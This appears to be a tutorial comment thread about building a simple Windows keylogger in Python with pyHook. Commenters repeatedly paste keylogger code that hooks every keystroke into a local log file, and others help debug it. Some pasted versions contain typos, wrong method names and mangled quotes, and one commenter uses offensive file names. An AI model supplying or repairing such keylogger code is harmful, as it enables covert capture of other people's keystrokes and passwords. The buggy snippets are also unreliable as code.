Python is a really easy programming language for beginners. What better way to showcase it’s range of abilities than making a simple keylogger.
Python is a really easy programming language for beginners. What better way to showcase it’s range of abilities than making a simple keylogger.
not able to get log.txt … pls help
In regards to keylogger,
what about ps/2 keyboards on laptops
the “ascii” section doesnt work?
what would you change it to?
I put this code in running Python 3.2.3
import pyHook, pythoncom, sys, logging
file_log = ‘G:\\English 10\\Adolf Hiter.txt’
def OnKeyboardEvent(event):
logging.baicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.Hook.Keyboard()
pythoncom.PumpMessages()
I of course installed the correct pywin32 and pyhook. When i attempt to run the program, it gives me this error message:
>>>
Traceback (most recent call last):
File “G:/Holocaust.pyw”, line 1, in
import pyHook, pythoncom, sys, logging
File “C:\Python32\lib\site-packages\pythoncom.py”, line 2, in
import pywintypes
ImportError: No module named pywintypes
>>>
any help?
I am getting an error on the chr(event.Ascii) Here is my hole file
import pyHook, pythoncom, sys, logging
file_log = ‘C:\\Stuff\\log.txt’
def OnKeyboardEvent (event) :
logging.basicConfig (filename=file_log, level=logging.DEBUG, format=’% (message) %’
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard ()
pythoncom.PumpMessages()
When I hit F5 to test I get an error please help!
Running 3.3.2
missing the parentheses at the end of the line with format…
Just asking, but have you tried importing pywintypes?
Hey there Noah! I see a problem at you! let me show you my code and see if you can fix yours!
import pyHook, pythoncom, sys, logging
file_log = ‘C:\important\log.txt’
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager= pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
If you are running on a 32 bit system you must download a win32 for 32bit computers
in line 4 : >>> u wrote baicConfig.. .>>change it to basicConfig
Im having an error as well. Heres my code:
import pyHook, pythoncom, sys, logging
file_log = ‘C:\\Important\\log.txt’
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format=ā%(message)sā)
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.Hook.Keyboard()
pythoncom.PumpMessages()
When I press F5, this message comes up:
“invalid character in identifier”
Please help…
It worked for me pretty well. I have Windows 8.1, and I’m using an USB keyboard(my laptop keyboard is broken)
import pyHook, pythoncom, sys, logging
file_log = ‘C:\\important\\log.txt’
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
keep getting the error OnKeyboardEvent is not defined!!! PLEASEEE HELPPPPP
Now I’m getting this error—–[Errno 2] No such file or directory: ‘C:\\important\\log.txt’
HELp